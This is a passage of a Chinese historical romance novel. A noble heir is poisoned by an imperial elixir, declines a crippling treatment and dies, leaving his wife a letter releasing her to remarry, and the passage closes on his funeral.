“此乃高人进献的紫金丹,有延年益寿之效。”建帝亲手拈起丹丸,“朕每日都在服用,确实深感有奇效。少思,你向来体弱,朕便赏你一丸,紫金丸定能助你强身健体。” 建帝特意赏赐,李秉真无法推拒,接过丹药时,嗅到一股似有若无的苦杏仁味。 他想起张颖再三叮嘱不可受凉,不可乱服补药,便准备把药放进袖囊。 建帝:“这几丸药刚制出来不久,越早吃药效越佳,还要配温酒服用。万云——” 在他吩咐之前,万云就已经让小太监拿来温酒。 建帝喜怒不定,又是众目睽睽之下,李秉真只得趁着俯身谢恩,将丹药压在舌下。 陛下总不会派人看他是否真的吞了下去。 随着一盏温酒入喉,李秉真脸色微变。 药丸遇水融化,转瞬间竟就化了小半。 他没再耽搁,找了个借口匆匆告退,转到无人的拐角,手扶枯树剧烈呛咳,把余下的药都吐了出来。 但他仍能感觉到方才不小心吞进去的那些药已经生效,五脏六腑隐生寒意。 ** 李秉真回府时,檐角冰棱正往下滴着雪水。 他扶着车辕的手指泛着青白,官袍下摆的冰碴在暖阳里融成深色水痕。 吩咐藉香去请张颖,他边往月舍走,边擦嘴角,腰伤和体内的寒意交织,让他步伐极慢。 清蕴正坐在院子里,背对着阳光绣荷包。 这是她年前就答应李秉真的,他送了画,她便送他一份代表二人的荷包。 小像不好绣,清蕴便选定霜冻后的青竹与冬日暖阳。 白兰白芷看了,都以为她为暖阳,殊不知在她心中,李秉真才是后者。 不紧不慢地穿针引线,闻得动静的清蕴抬首,望见李秉真这幅模样,愣了一愣,瞬间起身。 “怎么弄成这样?”她疾步上前。 “不小心沾了寒气。”李秉真勉强笑笑,齿缝间还渗着血丝,不敢说太多话。 清蕴却已嗅到若有似无的血腥气,突然抓住他遮掩的袖口,暗红斑驳的血迹在绯红官袍不算显眼,可也绝不至于能够忽略。 那只总轻盈执着画笔的手忽然攥住她肩头,指节因剧痛泛起青白。 “别怕……”李秉真话未说完,人彻底倒了下去。 清蕴抱着身体瘫软下的他跌坐在地,仍有茫然。 还是女使们纷纷反应过来,帮她把人搬到床榻上。 张颖赶到时,李秉真脸侧的软枕已染透半边。 他三指搭上寸关尺,忽然倒抽冷气:“紫金砂混着鹤顶红?他吃了什么!” 清蕴已经从藏翠口中得知宫中的事,轻声道:“是御赐的丹药。” “胡闹!”张颖的银针簌簌落下。 他先前给世子服的药里有味白萼兰,最忌与丹砂相冲。一旦如此,就会寒毒入体,心脉迅速衰竭。 如果把李秉真的身体比作一块脆弱的布,他之前所做,就是使布更有韧性,让之前那些已经出现的裂痕不至于影响整体。 可这丸丹药就像一股强横无比的外力,直接把布撕成了几块! 他有再大的本事,也没办法把布拼凑回去。 向来从容不迫的张颖,手竟微微发颤。 50-60 第51章 死还是生? 月舍布局和寻常人家居住的二进房相似, 正房、倒座房、厢房、后罩房等都不少,是当初大长公主为了方便下人们照看李秉真而特意设置。 张颖占了倒座房,闷在里头研制祛寒方,偶尔出来给李秉真扎一针, 让他清醒片刻, 以免他长时间昏迷而没法用食水。 清蕴没有隐瞒这件事, 同府的太夫人、齐国公瞒不住, 隔壁的大长公主和李琪瑛不该瞒。 齐国公和大长公主看过儿子,从张颖口中得知要哪些珍稀药物, 已经连夜去找药了。一个进宫,一个去找朋友。 李琪瑛紧跟着来了。 六九寒天,从院外跨进主屋,李琪瑛就被扑面而来的热浪熏住,感觉季节瞬间变成盛夏, 整座屋子变成了巨大的蒸房。 屋里的人全穿着轻薄的春衫来回走动, 李琪瑛随手解下大氅,急切地朝榻上看去。 兄长李秉真被厚厚的被褥挡住,看不清脸色, 她问,“前几天还好好的,怎么突然就病了?” 清蕴:“天太冷,着凉了。” 李琪瑛松了口气, “我还以为是陛下给的丹药有问题。” 实不相瞒, 她第一反应就是丹药所致, 可陛下自己也在服用, 没道理单单会害大哥。 清蕴没答话,李秉真之前清醒了阵, 头件事就是让他们别把丹药的事说出来。他的想法她明白,一则建帝此举确实不是故意,二则以大长公主的性子,知道是建帝导致他病危,定会冲进宫找人算账。 可对上皇帝,他们都讨不了好。 李琪瑛坐下,注意到嫂嫂消瘦许多的身影,不大熟练地安慰,“大哥他很厉害,每次都能化险为夷。” 好比她幼时,不知听过多少次他病重,最终都是虚惊一场。 “希望吧。”清蕴伸手探进被褥,发现汤婆子已经转温,立刻让人换一个。 李琪瑛这才得以看清兄长形容。 这一看,顿时大骇。面如金纸,比雪还惨白几分! 环视默默做事,不发出一丝声响的下人,她心中生出可怕的猜想,“大夫怎么说?” “大夫在抓紧时间给世子爷配制新药,没说什么。”白兰看出主子的心情,主动出声,“郡主,这边炭盆多,药味重,您移步外屋罢。” 李琪瑛心不在焉地随她换了地方,呆呆候了会儿,几度想进去再看看状况,到底不敢打扰,最终满腹心事地离开了。 没过几天,皇宫、翰林院、王家都知道了李秉真此次病得极重,命悬一线。 王宗赫踩着风声踏进齐国公府。 由仆从引进月舍,还没走近,他已经先看见了清蕴。 她向来注重形象,这会儿要见外人却未梳妆,半倚在榻边和人轻声交谈。 李秉真正垂眸看她,手无力地搭在那一缕乌发间。 把装有老参的锦盒递给白芷,王宗赫在屏风外加重脚步,里面的清蕴立刻坐起身,回头看见是他,身形稍稍松懈。 “三哥。”她打湿帕子,为李秉真擦拭了脸颊和手。 王宗赫嗯了声。 他是近日来探望的客人中最能沉住气的,瞧见李秉真快速衰败的模样也没有太过震惊,坐下去刚说两句话,张颖就来了。 他和清蕴同时退到屏风后看张颖施针,金针在炭火映照下泛着暖光,扎进李秉真嶙峋的脊背时却像冰锥。 王宗赫稍稍移开目光,落在清蕴不住颤动的眼睫上。 他以为她会哭,但一直没有泪水落下来。她只是视线定在那儿,一刻没移开。 王宗赫内心沉重,既为李秉真,也为清蕴。 “到底怎么回事?”他压低声音。 没有无缘无故恶化的病情,便是他,也知道李秉真一直在好转,不然上次不会玩笑地提出那个要求。 清蕴:“陛下当面赐丹药,他不得已服用了。” 王宗赫微微一震,没想到是这个原因。 “故意而为?” 清蕴答不清楚。 可不管是有意还是无心,没人能去找建帝算账。 王宗赫紧接着道:“大长公主和国公可知道?” 他和李秉真思考的角度出奇一致,清蕴淡淡回望,仍是摇头。 接下来就是沉默。 等张颖施针结束,两人立刻回到榻前。 李秉真刚又吐了回,下人们在换被褥床单。清蕴要上前帮他换中衣,他却别过头,流露出拒绝。 “我来吧。”王宗赫主动帮忙,没叫藏翠藉香入内,示意清蕴出去。 如今李秉真浑身无力,更衣都无法自主,要么让人全程搀扶,要么让他躺在床上,旁人帮忙脱衣,再一点点穿上。 好在王宗赫力气大,能一只手扶他,一只手动作。 炭盆加持下,王宗赫都出了身汗,任人折腾的李秉真四肢依旧冰凉,像刚从冰窖里搬出来。 不着痕迹地探过对方脉搏,王宗赫平静的脸色下掀起惊涛无数。 他不通医术,但放松时看过几本医术,知道常人脉象如何。如果按他的理解,给李秉真把脉时几乎感受不到脉象,和将死之人无异。 知道李秉真病重,却不知他到了这个地步。 直到离开齐国公府,王宗赫都没能再说出之前准备好的宽慰话语。 ** “云南进贡的雪蟾,快!”大长公主的脚步声惊碎了倒座房满室药香,她鬓发微乱,亲自抱着檀木药匣,指节因用力而发白。 在她身后,齐国公紧随而至,带来了张颖说了另一种药。 见大长公主身形摇晃,他伸手扶了下,曾经的夫妻都忘了彼此间的恩怨,齐齐看向张颖。 距离李秉真身体快速衰败过去一个月,宫中太医都摇头说没办法,只有张颖,靠着绝佳的金针术,硬生生地一次又一次把李秉真从阎王爷那儿拽了回来。 在两人心中,如今张颖是最值得托付信任的人。 但张颖并没有因他们的到来喜出望外。 这些日子以来,张颖天天皱眉,眉头已经成了“川”字型,此刻这“川”眉对二人扫了一圈,“请两位过来。” 两人心跳如雷地跟去。 “早在三年前我就说过,世子难以活过而立。”张颖的第一句话就让大长公主红了眼眶,“可是我儿才勉强二十五,离三十分明还远……” “世子身体太差,心力衰竭也是转瞬之间,我也无法预料。”张颖同样帮李秉真保守了秘密,没有说出他就差一步痊愈的事实。 如果大长公主知道,恐怕能立即心碎。 可即便如此,大长公主也依旧难抑激动,她作为母亲,无论多少次都不可能坦然接受儿子将死的事实。 “张大夫,您一定有办法,是不是!” “对。”张颖缓缓道,“我没法解他的毒,但这一个月来,确实想到了办法,可以暂时把他的毒压制。” 大长公主立刻追问。 “我用针法把他的毒全部移到腿上,能够暂缓毒发,延长三到五年寿命。”张颖接道,“但这样会废了世子双腿,从此他再也不能行走,出行只能靠轮椅。除此之外,他身体虚弱的症状不会好转,不止有碍行走,可能他坐、卧、吃、喝都需要人服侍,睡也无法睡安稳,时刻都处于病痛中。” 大长公主当然在乎这些,可她更想儿子活着,刚要张口应下,齐国公开口,“如果不用针法移毒呢?” “不移的话,少思……还有多久?” “不到三月。” 齐国公痛苦地闭上眼。 死还是生?对于他们活着的人而言,似乎是根本无需细想的选择,可对少思而言呢? 前者固然能给他续命几年,让家人安心几年,需要付出的代价却是长子的尊严和无休止的痛苦。 少思这一月来,每到需要更衣洗漱时,就不让清蕴靠近。他作为父亲如何看不明白,儿子是不希望自己在儿媳眼中成为一个狼狈不堪、吃喝拉撒都无法自理的废人。 两行清泪忽然从齐国公眼下流出,他拉住大长公主的手,不顾她愤怒投来的眼神,“让少思……自己选吧。” ………… 药炉咕嘟作响时,清蕴正在给李秉真读书。 他时常头痛,无法凝聚心神看文字,清蕴就拿出他平时看的书,一本本念。 榻前添了只白釉广口瓶,里面插满这个季节盛开的梅花、杏花以及桃花,种类繁多却不显拥挤。花瓣上水珠涟琏,显出一种蓬勃的生机。 李秉真刚歇了一觉起身,这会儿精神尚可,柔和地看着清蕴的侧脸,忽然唤她,“猗猗。” “嗯?” “一年胜百年,我可做到了?” 清蕴本来在极力保持平静,因他这突如其来的一句话,眼眶突然被热浪袭击,“……怎么突然说这个?” “只是好奇。”李秉真温声,“好奇我在你心中的评价。” “做得很好,但还不够。”清蕴道,“我早说过,人是会变的。” 李秉真莞尔,握住她搭在旁边的手指,“当时母亲和我说这门亲事时,我心中其实很不愿意。” “……嗯,看得出来。” “第一眼见你时,就更不想了。这样漂亮的姑娘,何必要配一个病秧子。”李秉真道,“但我很快被你说服了,知道为何吗?” 清蕴微微仰首。 李秉真抬手,抚上她的脸,被她顺势握住,贴在脸侧,“因为喜欢。” 清蕴呆住。 李秉真却微微一笑。 他从不否认自己是个俗人,面对美丽灵慧的清蕴,一见钟情应该也不算很稀奇。他最初没有想明白,而后在慢慢的相处中,才弄懂了自己的心意。 他从来就不是被清蕴的话给说服,而是顺应自己的心意,情不自禁答应了。 如果说这次是他的死劫,他更希望能够亲口告诉她,而非带着遗憾离去。 第52章 人受天地之中以生,所为命也 张颖的话, 让齐国公和大长公主大吵了三日。 在亲眼看到儿子默不作声地任人搬去净房,甚至有时喝粥也会不知不觉让粥水流到嘴角,继而不怎么愿吃东西时,大长公主终于有所松动。 她忍不住问清蕴, “你也觉得, 该放弃吗?” 清蕴身形微颤, 一时没有言语。 大长公主还要再问, 被齐国公制止,带到角落, “少思是你的骨肉,又何尝不是她的夫君?他们夫妻感情如何,你难道还不明白吗?” 大长公主又是一阵剜心之痛。 是啊,少思对清蕴的喜爱她看在眼底,也为他终于能有羁绊而高兴。当初高僧分明说, 这桩亲事能够让少思…… 想了许久, 最后她哑声道:“让张颖去问,其他人都不许在场。” 她既不会去恳求儿子为自己而活,也不会让人影响他本该做的决定。 张颖进房时, 齐国公、大长公主、清蕴全都待在帘子后,不露身影、不出声响。 里屋早已看不出原本模样,除去书架和床榻,其他的都改成了方便李秉真起居的布置。榻边新摆了张木桌, 他随手一抬, 平时所需之物都能拿到。 但他倚着隐囊, 什么都没做, 什么都没看,直到张颖弄出动静, 才淡淡扫去。 张颖的性情决定了他不擅迂回,勉强说了两句,就被李秉真看出来意,“张叔,有话直说吧,和我有关?” 张颖顿了下,把那番话重复了遍。他和李秉真相处这些年,不忍心说得太直接,只道他今后会生活不便。 李秉真:“会直接成为废人,是吗?” 张颖沉默。 李秉真也沉默,他看向了那厚重的帘子,大致猜得出至亲们会有怎样的希望和祈求。 但脑海中随之浮现的场景更多。 他记得降生后几个月到如今的所有事。 在襁褓时,本就是无法自理的婴孩,可以任由长辈、乳母照顾。孩童时,也可以毫无负担地被母亲抱在怀中。随着年纪渐长,他在那些同情和怜惜的目光中,渐渐明白了自己是怎样一个累赘。 到现在,他还要在自己的妻子面前失去最后的尊严吗? “张叔。”李秉真道,“三个月,比我预想的已经多很多了。” 帘外,大长公主别过头,已是泪流满面。 屋外,离门仅有一步之遥的李审言也听到了这声回答,驻足半晌,隐约听到了女子隐忍的泣声。 他没再停留,回到回光堂,在阿宽不解的眼神中跃上房顶,平躺在上面,双手枕在脑后,望着清朗的天幕出神。 李审言知道,李秉真在配合张颖冒险祛毒,也知道这位兄长离成功仅有一步之遥,因为陛下的丹药而使身体突然衰败。 平心而论,换做是他,被人害得功亏一篑,不管这人有心无意,不管这人身份为何,拼着一死,他也要让对方付出代价。 李秉真就可以忍下来,经历过大起大落,仍能平静地接受现实。 这就是他和李秉真的不同。 陛下呢?他甚至不知一时的无心之举,会害李秉真病重。即便知道了,恐怕也只会毫不在意地一笑。 在建帝身边侍奉大半年,李审言比任何人都要清楚这位君王如今的荒唐、肆意和残忍。因喜爱野兽与人厮杀,隔三岔五就要挑选卫所中武力突出,家世又不明显的小兵进宫给他“表演”。侥幸活了下来,便能得赏,不幸身亡,就随意打发二十两银子。 因喜爱与臣子的妻子厮混,便让锦衣卫大肆收集臣子妻妾的消息,遇见地位一般又足够心动的人,便示意万云对臣子威逼利诱,以助他“双修”的名义,将人暗中带进宫。玩弄够了,再赏个官位或者金银珠宝打发。 如今他还在炼丹,被他请进宫的那群高人以炼丹用药的名义,在民间肆意搜刮名贵药材、药方。一个月前,李审言听到他们的私下密谈,有户富商家中收藏了一棵两百年老参,本是留作传家宝,也为家中老人的不时之需而备。 他们听说后,要以十两银子强行买下老参,富商自然不愿,被他们以“不敬天子”的名义杀了阖府,最后用一把大火掩去了所有痕迹。 他们不敢把这件事禀报给建帝,只用老参来讨其欢心,其余的,自有人为他们善后。 假如陛下知道此事,会为那户富商做主吗?李审言想着,忽然不无讥讽地笑了。 李审言的枕下常年摆放着一本《武经总要》,有事无事时,他都会抽出来翻两页。即便被建帝当做消遣,成为时不时表演的工具,他也不曾放下过这本书。 而如今,他愈发觉得自己走的这条路确实是笑话。 ** 李秉真做出选择后,众人心照不宣,既没有点破,也没有拿出与众不同的态度来对待他。 区别只在于,张颖不再研制那些苦到令人望之生却的药,不再隔几个时辰就给李秉真扎几十根尖锐的金针。 无需用猛药,李秉真的状态就好了些,至少不用十二个时辰都待在床榻。有时精气神稍好,还能起身到院子里转几圈。 他其实更想出门,和清蕴在青烟湖、别庄的那段记忆犹在眼前,那是夫妻俩难得完全放松的时刻。 可惜如今他的身体经不得舟车劳顿,即便出门,也只能在国公府附近的街市走一走。 李秉真不喜欢过于喧闹的烟火气,他宁愿待在院子里和清蕴独处。 期间偶尔会有人来探望他,王宗赫、李家族人、翰林院同僚,他们每次待的时间都很短,似是得了交待,并不敢耽误他太久。 李秉真也不在意,偶尔视线会在周围的隐蔽处停留会儿。他知道,爹娘不想在他面前表露心情,故而总是暗中看着他。 他们怕忍不住,那么清蕴呢? 汤药的雾气漫过铜镜时,李秉真发现清蕴的耳珰总在晃。 她俯身替他系腰带时,衣领微微下滑,锁骨嶙峋。 他又望向扶着自己的那只手,想起去年中秋她提灯时的丰润指尖。如今玉镯卡在尺骨最凸处,稍一动弹就撞出闷响。 放在以往,清蕴为自己茶饭不思、日渐消瘦,他应有几分高兴。这代表她终于如他所想,真正把他放在了心上,即便不是期盼中的男女之情,终有一日也会慢慢转变。 但到如今,他更希望她能够像初见时那样,能够清醒地思索前路。 “想练字了。”李秉真道,“帮我拿纸笔来。” 待在房里太无聊,也就剩这几件事可做。藏翠不疑有他,取来纸笔,低头看到主子比老树枝丫还要枯瘦的指节,悄然红了眼眶。 他低下头退到角落,极力克制情绪,泪水慢慢退了回去。 月舍的人现在哪个不知世子情况?因主子们吩咐,他们个个都不会在世子和世子夫人面前显露,只敢在无人时背地里哭一场。 有时会碰到暗处的大长公主和齐国公,哭得比他们还要厉害。 李秉真随手练了几个字,清蕴从旁看着,听他难得提了要求,想吃她亲手煮的粥。 “茯苓粥可好?” “都好。” 清蕴嗯一声,走到月舍外,缓缓长舒出一口气,被白芷担忧地扶住。 “我无事,彭掌柜那边怎么说?” 白芷:“陈危刚来回话,说彭掌柜私下派人去江南一带寻了好些名医,他们听完世子症状,全都和张大夫说得相差无几。” 清蕴抿唇不语。 她只是想再试试,万一就有人治过和李秉真类似的病人呢?她知道,大长公主抱着和自己一样的想法,私底下没有停止过寻医问药,只是在没有明确的希望之前,不敢再把人带来。 如今看来,无论哪边,都是一样的答案。 嫁进国公府之前就曾有预料的分别,在它来临时,清蕴依旧猝不及防。她并不为自己的选择而后悔,只是忍不住同情、怜惜李秉真,这个生来就没有一天不是处于病痛中的人,好不容易燃起了求生的欲望,转瞬却依旧被命运捉弄。 人非草木,她和李秉真做了一年夫妻,对他的感情,并不像她最初想的那样平淡,无法冷静地看着他离开。 在外站了会儿,清蕴去厨房煮粥。 早春时节,天儿暗得依旧快,等李秉真练会儿字,喝下粥后,又到了他该歇息的时辰。 和每晚一样,清蕴依旧歇在他身侧。 寅时正,浅眠的清蕴照常睁开了眼,发现枕边人却没有和近日一般,在这个时辰自然醒来。 他仍闭着眼,平躺在枕上,仿佛没有任何声息。 清蕴心突然如雷般鼓噪起来,默然数了几十个数,才慢慢伸手去探他鼻息。 在触碰到李秉真的刹那,突然被一只手横空捉住,偏首含笑,“怎么了?” 清蕴怔住,不说话,定定看着他。 本是想小小开个玩笑的李秉真却有些不自在了,感到歉意,“当真吓着你了?对不住,我……” 平静陪伴他两个月的清蕴忽然毫无预兆地落下两滴泪来,不待李秉真继续开口,已是泪如雨下。 李秉真从那双泪水涟涟的眼中看到了自己的身影,一个肤色病白、面容极其清癯的男子。 若是不言不语地躺在那儿,恐怕就和死人无异。 他已经许久没照过镜子了,竟不知自己变成了如今的可怖模样。 李秉真感到了这个玩笑的过分。 想安慰,却不知如何说,“是我不该……” 清蕴依旧在落泪,从无声到抽泣,越来越控制不住自己的情绪。很快,李秉真感觉自己身前的衣襟、被褥都湿了一大块。 他只能慌乱而充满歉意地抱住她。 李秉真的怀抱并不暖,他如今身体总是萦绕一股阴冷的寒意,宛如跗骨之蛆,在一点点带走他所剩无几的生命。 清蕴却回抱得更紧。 她不想他死,想他活着,哪怕是躺在床上无法动弹,哪怕他无法说话,甚至无法看她,也想让他活着。 可她无法开口。 李秉真轻轻地拍打她,像笨拙地安抚一个孩童,“对不起,对不起,猗猗……” 他厌恶自己的无力,因为此刻他无法将她抱起,看清她的神色,再慢慢擦干她的泪水,告诉她不必流泪。 放任自己情绪崩溃了许久,清蕴才抬起红通通的眼,轻声道:“你方才吓到我,让我咬到舌头,痛了很久。” 李秉真仍是说对不起。 清蕴摇摇头,往上轻轻吻了下他消瘦的面颊,露出笑容,“已经不痛了。” 李秉真无声回吻住她。 …… 又是半月,清蕴用银剪裁下第三朵月季插()入瓶中,李秉真在给兰花添水。 如今月舍添了许多绿植花卉,夫妻俩没有假手他人,亲自照料。 李秉真左手无名指总是不自觉蜷缩,水壶歪斜着,淋湿了地面。 “我来。”清蕴接过铜壶,将他沾湿的袖口挽起,接手浇花。 大长公主在门外站了半炷香,看着夫妻俩共同浇花,看儿媳给儿子喂枇杷膏。随着几声咳嗽,琥珀色的糖浆顺着他干裂的嘴角淌下,在衣衫上晕开点点痕迹。 “这可不是我故意。”咳嗽的人还在笑。 清蕴佯作怒意瞪他,少思则连忙讨饶。大长公主又站了会儿,没能继续看下去。 她怕自己会忍不住冲进去求儿子,求他为了自己用药。在这段时间,这个想法冒出过无数次,也被她忍回去无数次。 大长公主离开了。 李秉真似有所感,回头瞥了眼,什么也没瞧见,倒是发现了今日的好天气。 “出去走走吧。”他道。 清蕴便给他披上大氅,自己再去更衣。 对镜理发时,李秉真忽然道:“梳望仙髻。” 对上清蕴不解的眼神,他笑道:“初见时你便是这个发髻,很好看。” 依他的话,清蕴让白芷给自己梳发,久违地上了脂粉,得见李秉真由衷欣赏的目光,“脂粉未施时是清水出芙蓉,点妆后便是明艳若神妃仙子。” 饶是早习惯旁人对自己外貌的夸赞,清蕴也因他过于直接的话而微微脸热,推着他往院子里走。 从十日前起,李秉真已经不大能行走了,必须靠轮椅。 推着他在府里慢行了一圈,李秉真还是让她回到月舍的葡萄架下。 绿藤还没有完全发出来,日光透过木架照在两人头顶,暖洋洋的。 李秉真说起两人最近在看的书,昨晚清蕴正读到《反经》。 人受天地之中以生,所为命也。夫妻俩昨晚还围绕这句话小小探讨了番,李秉真对此深表赞同,清蕴则认为正好相反,最终各持己见。 他甚至带了原书出来,对书看了会儿,还是交给清蕴,“劳烦夫人再帮我读一段。” 清蕴将轮椅固定好,坐在他身侧,轻声读起来。 她的声音清如流水,明亮而清晰,李秉真静听着,视线转到蔚蓝天际。 悠悠几朵浮云飘于其上,淡淡花香拂面。 他仰首感受清风阳光。 “微察问之,以观其志;临难试之,以观其勇。”清蕴读完这段,忽然意识到李秉真一直没发出声响,已经有会儿了。 她眼皮微跳,偏首看向他,心中在想,也许他又在吓唬自己了。 但他既没有睁眼,也没有抬手,仅仅是静坐在那儿,唇畔含笑。 一直跟在不远处的张颖已经冲了过来,瞬间搭上李秉真的脉,再去探他颈侧。 半晌,张颖垂眸没说话,清蕴已经明白了他的意思。 正是这时,李秉真搭在椅背的手轻轻下落。 清蕴没让他的手落地,接住这抹凉意,往前抱住他,顺势将脸埋进了尚有体温的衣襟。 第53章 何忍以罗敷之质,守柏舟之誓? 一个人的死也许会在某些人心中惊起波澜, 但不会使山崩石裂、天地变色,对于大部分人而言,日子依旧平静。 譬如李秉真离世的当天,风和日丽, 有友人相约踏青, 有孩童隔墙嬉戏, 市井照旧热闹。 清蕴早就领悟过这个道理。 父母受战乱相继离去后, 她孤身一人踏上寻亲的路,尝尽人情冷暖, 知道世间种种,唯利至上。所以她喜欢安稳,喜欢钱财,喜欢能够让自己高枕无忧的权势。 她向来也是这么做的。 可李秉真走之后,她忍不住冒出一个想法。 如果她当初回应了他, 和他一起离开京城, 在江南做对无权无势却悠闲自在的富贵夫妻,应该也不错。 可能他的病会治好,可能依旧是几年后病逝, 但总不会这么突然。 午夜梦回中,她甚至几度梦到这样的场景。醒来身边空荡荡的,向她表明,伴她一年多的枕边人确实已经不在人世。 清蕴总觉得自己是冷情之人, 当初父母去世都能很快振作, 想到出路, 如今却陷入了短暂的迷茫。 她嫁过来前曾想过, 即便李秉真去世,自己守寡, 地位也不会有任何改变。相反,齐国公和大长公主会因她对世子的深情而感动,给予她足够的体面和尊荣。 没了世俗间需要婚嫁的压力,既不用服侍一个男人,也不必为今后可能会有的妾室而忧心,自己亦有财有势,即便做个寡妇,又有何妨呢? 这样的想法本来毫无问题。 …… 报丧停灵过后,国公府择吉日为李秉真入殓。 经过最后三月,他整个人干枯得可怕。但眉眼依旧俊秀,宛如染上斑点的青竹,憔悴了些,只要把那些痕迹抹去,依旧苍翠。 看着大长公主亲自为他穿寿衣,清蕴脑海中浮现出光明寺初见时他的模样。那时候她其实很惊讶,惊讶于一个久病之人会有如此风采。 连抹几次眼泪,李琪瑛不得不转过脑袋,用衣袖遮眼。她这阵子大哭了很多次,可再伤心,也知道自己的悲痛比不过母亲和嫂嫂。 刚才她们为兄长整理遗容,李琪瑛甚至不敢看。她害怕看到他的死状,因为她心中总有感觉,大哥的突然病重,和那枚丹药绝对脱不了关系,甚至可能就是被丹药所害。 嫂嫂那天说染了寒气,应该是不想被她知道真相,而后告诉娘。 如果那天不是她一时兴起邀大哥进宫,他会好好的吗?如果娘知道是自己间接害了大哥,恐怕永远都不会原谅自己。 李琪瑛被痛苦、悔恨、内疚折磨,不敢看兄长最后一面,也不敢安慰母亲和嫂嫂。 李家族人依次向李秉真作别,在所有人都沉浸在这死寂当中时,唯有齐国公注意到了李琪瑛复杂的神色,心中闪过疑虑。 但眼下最重要的还是为儿子入殓,他暂且放到了一边。 入殓毕,棺木正式封钉。考虑到有些亲朋相距较远,灵堂会设整整一月,待吊唁结束,再出殡入土。 第一夜不用清蕴守灵,她被叫去房中休息。 回到月舍,她在窗边坐了许久,直到白兰叩门,“夫人,藉香请见。” 应允后,身着素服、佩白布的藉香入内,面对清蕴询问的眼神,一言不发地奉上木盒。 他是李秉真最信任的贴身护卫之一,清蕴意识到这是李秉真留了东西给自己。她心中有猜测,当打开木盒,一眼看到“放妻书”三字时,还是愣住了。 这是李秉真的字迹,不如以往遒劲有力,但每个字都写得很清晰。 她慢慢看下去,视线久久停留在最后几段。 今余久病膏肓,医者束手,惟见日薄西山,残灯将尽。每念夫人青春正茂,何忍以罗敷之质,守柏舟之誓?当此际,特修此书,明告宗祠: 一应妆奁田产,悉数奉还本家。东郊别业,着即过户夫人名下。四季衣裳十二箱,宝石、珍珠头面五副,皆准携归。余之私蓄纹银二千两,留作夫人添妆之资。 自今以往,夫人可更施环佩,另择良匹。李氏宗族不得以“未亡人”相称,亦不得以礼法相迫。若得贤士缔结朱陈,当以妹礼陪嫁,添箱之礼比照国公嫡女。 忆昔合卺之时,庭前双鹤交颈,曾许白首之约。岂料天不假年,竟成参商之隔。愿夫人莫悲薤露,善自珍摄。他日若过城南旧邸,见庭中梅树者,可酹清酒一盏,余当含笑九泉。 临楮涕零,不知所言。时乙亥年仲春上巳日,李秉真绝笔。 几滴泪水砸落,浸湿纸张。 藉香低头,不看女主人流泪的模样,“世子说,任夫人自选。” 这是一月前,藉香被叫到书房研墨,亲眼看着世子一字一句写下的。 世子道他走后,恐怕大长公主爱子心切,会强行留下夫人,不允她离开,所以留下这条后路。 清蕴:“他可对你们作了安排?” 藉香回:“藏翠会继续留在国公府效力,夫人在府期间,属下为夫人护卫。若您……日后离府,属下也会归家。” 可藉香哪有家呢,他幼时丧父,少时丧母,仅剩大伯一个至亲。他的大伯如今连孙子都有了,哪有位置留给他。 半晌,清蕴道:“你日后就跟着我吧。” 藉香跪地叩首。 ** 王宗赫被派去两百里外的县城考校官员,李秉真病逝的消息到他耳中时,已经过去了整整七日。 吏部同僚及该县官员就看到这位泰山崩于前而面不改色的王大人陡然收了信,对他们道:“抱歉,有急事,在下需得立刻回京。” 没给旁人问缘由或挽留的时间,带着疏影就策马而去。 马儿奔逸绝尘,转瞬就不见人影,县衙官员目瞪口呆,喃喃,“竟不知大人骑御功夫也这么厉害。” 户部的同僚点点头,面上沉稳,心底也很好奇,什么事能让克衡如此心急,失了稳重。 快马加鞭一天半,王宗赫风尘仆仆进城,先到家梳洗更衣,再步行去齐国公府。 到国公府门前,刚巧遇见了来吊唁的柳晚。 作为和齐国公府上下都没有私交的小辈,柳晚其实不需要来吊唁。大概是想到了和清蕴的两面之缘,鬼使神差地就同母亲一起来了。 还有小半年就要成婚的未婚夫妻陡然碰面,情形不比陌生人好多少。 在母亲示意下,柳晚打了个招呼,王宗赫微微颔首,朝柳母问好,先步入内。 柳母看向女儿,语气中颇有些恨其不争的意味,“平日里那么能说会道,怎么到人家面前就成了木头?” 柳晚不说话。 柳母眼神一厉,暗握住女儿的手,压低声音,“你可千万别再想不该想的人。” 那场晚宴后,她以为女儿这场婚事要吹了,没想到状元郎毫不介意,回去后只字不提退亲的事,逢年过节继续送礼问安,他们便知道两家依然能成。 只是这样一来,难免矮了人家一头,柳母内心也觉得自己以前太放纵女儿,对未来女婿既喜欢又内疚。 柳晚敷衍几声,随母亲入内吊唁。 灵堂设在国公府正厅,宾客们笔直走就能到达。 白布幔悬在梁柱,随风扬起时宛如一阵缥缈的烟雾,裹住来来往往的人。王宗赫跨过这片雾,先看到灵床上停放的巨大黑漆棺木,而后是跪在蒲团上垂眸烧黄纸的清蕴。 纤瘦的身形笼罩在麻衣孝服下,整个人轻得仿佛随时都能被那白雾带走。 王宗赫一直隐隐握拳的手放开,接过下人们递来的香,走到灵位前,恭恭敬敬地拜了三拜。 随后,他走到一旁,往铜盆里添了叠金箔。 “节哀。”王宗赫没有侧首看清蕴,用仅两人能听到的声音说话,“时间太仓促,我还未来得及为他写祭文,明天再带来。” 清蕴轻轻嗯了声。 王宗赫不知如何安慰她,此时此刻,无论说什么都没有意义。 不可否认,在得知清蕴要嫁给齐国公世子的刹那,他心中就对李秉真极为不喜,情绪激动时,甚至冒出过极其阴暗的想法。 但在与李秉真结识、相处后,他是真心希望对方能够长久陪伴清蕴。 他也是在清蕴出嫁后,才慢慢想明白一件事,她很需要陪伴。 如今李秉真离世,谁又能伴她? 因上次曾在别庄被李审言看出心思,王宗赫没有任何出格的言语、眼神、举止,表现得极为克制而内敛,在外人看来就像是普普通通地来为妹夫吊唁。 柳晚时不时关注地扫他和清蕴一眼,也没能看出特别之处。 就在这时候,管家来禀报,说是陛下微服前来为世子吊唁。 齐国公向大长公主说过此事,两人一起去门口迎接建帝。 建帝上次来,还是李秉真和清蕴成婚,转瞬间红事变白事,饶是他也不由心生感慨。 时移世易,太快了。 一年多来,大长公主和侄儿关系愈发寻常,但对于他此时肯屈尊来为李秉真吊唁,她还是有些触动。 在灵堂角落默不作声的李审言奉香给建帝。 宾客中已经有人认出天子,碍于天子微服来访,又是在灵堂,便没有拜见,只默默让开位置。 建帝立于灵前,执香三拜后,负手凝望棺椁,忽从袖中抖出一卷泛黄的《与民经》,掷入火盆,“此书是少思同翰林院其他人修撰而成,其中他当居首功,便让它伴少思同去罢。” 火舌燃起书下另放的朱批,卷过“忠勤敏达”四字,灰烬飘向灵幡。 嘴唇微动,建帝又道:“追赠光禄大夫,赐玉蝉含珠以安魄。” 万云立刻将这话记下。 